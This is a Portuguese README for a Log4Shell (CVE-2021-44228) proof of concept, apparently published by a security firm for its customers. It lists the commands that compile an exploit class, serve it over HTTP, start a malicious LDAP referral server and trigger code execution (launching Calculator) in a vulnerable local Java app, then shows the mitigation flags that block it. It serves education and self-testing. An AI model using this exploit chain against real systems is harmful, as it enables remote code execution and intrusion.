
Prova de Conceito do CVE-2021-44228 (Log4Shell)

As funcionalidades JNDI do Apache Log4j2 <=2.14.1 usadas na configuração, mensagens de log e parâmetros não protegem contra LDAP controlado pelo atacante e outros endpoints relacionados ao JNDI. Um atacante que pode controlar mensagens de log ou parâmetros de mensagens de log pode executar código arbitrário carregado de servidores LDAP quando a substituição de lookups de mensagem está habilitada.
Para ajudar os clientes a entender como essa falha funciona, preparamos este repositório com uma Prova de Conceito simples e funcional.
Tendo instalado localmente:
No momento, o código arbitrário inicia o aplicativo Calculadora no macOS ou Windows, portanto, apenas esses dois sistemas operacionais são suportados por este PoC.
Todas as informações e códigos são fornecidos exclusivamente para fins educacionais e/ou teste de seus próprios sistemas para esta vulnerabilidade.
Este PoC se assemelha ao descrito na imagem abaixo (créditos GovCERT.ch), com exceção do servidor vulnerável que é apenas uma classe Java simples por questões de simplicidade. É importante entender que essa vulnerabilidade pode ser desencadeada de várias maneiras, o que é descrito abaixo é apenas uma delas.

Clone este repositório
terminal1 $ git clone https://github.com/sunnyvale-it/CVE-2021-44228-PoC.git
Compile o exploit (usando JDK 11)
terminal1 $ javac Exploit.java
Execute um servidor HTTP para servir o exploit
terminal1 $ python -m SimpleHTTPServer 8888 --directory .
Inicie o servidor LDAPRefServer malicioso (agradecimentos a https://github.com/mbechler/marshalsec)
terminal2 $ java -cp tools/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit"
Execute a aplicação com falha (contendo log4j 2.14.1)
terminal3 $ mvn package && mvn exec:exec
Se tudo ocorreu bem, o aplicativo Calculadora (execução de código arbitrário) deve aparecer

terminal3 $ export LOG4J_FORMAT_MSG_NO_LOOKUPS=true
terminal3 $ mvn package && mvn exec:exec
Neste caso, a Calculadora não deve mais aparecer
terminal3 $ mvn package && mvn exec:exec -Dlog4j2.formatMsgNoLookups=true
Neste caso, a Calculadora não deve mais aparecer